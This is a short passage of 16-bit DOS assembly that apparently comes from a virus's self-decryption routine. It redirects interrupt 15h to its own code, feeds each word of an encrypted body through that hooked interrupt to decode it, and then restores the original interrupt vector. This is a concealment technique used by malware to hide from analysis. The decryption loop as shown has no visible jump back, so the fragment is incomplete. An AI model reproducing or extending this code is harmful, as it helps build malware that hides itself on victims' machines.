       Mov Word Ptr ds:[15h*4], ax
       Mov ax, cs
       Mov Word Ptr ds:[15h*4+2], ax
       Sti

       Mov di, Offset STARTCODE
       Add di, bp
       Mov cx, (ENDCODE - STARTCODE)/2
       Mov ax, 10h

_AGAIN:
       Mov bx, Word Ptr cs:[di]
       Push bx
       Int 15h

ENDDECRYPT:
       Xor ax, ax
       Mov ds, ax
       Cli
       Mov ax, Word Ptr cs:[Oldint15]
       Mov Word Ptr ds:[15h*4],ax
       Mov ax, Word Ptr cs:[Oldint15+2]
       Mov Word Ptr ds:[15h*4+2], ax
       Sti

       Pop ds
       Popa
       Ret

ENDING:
End START
End
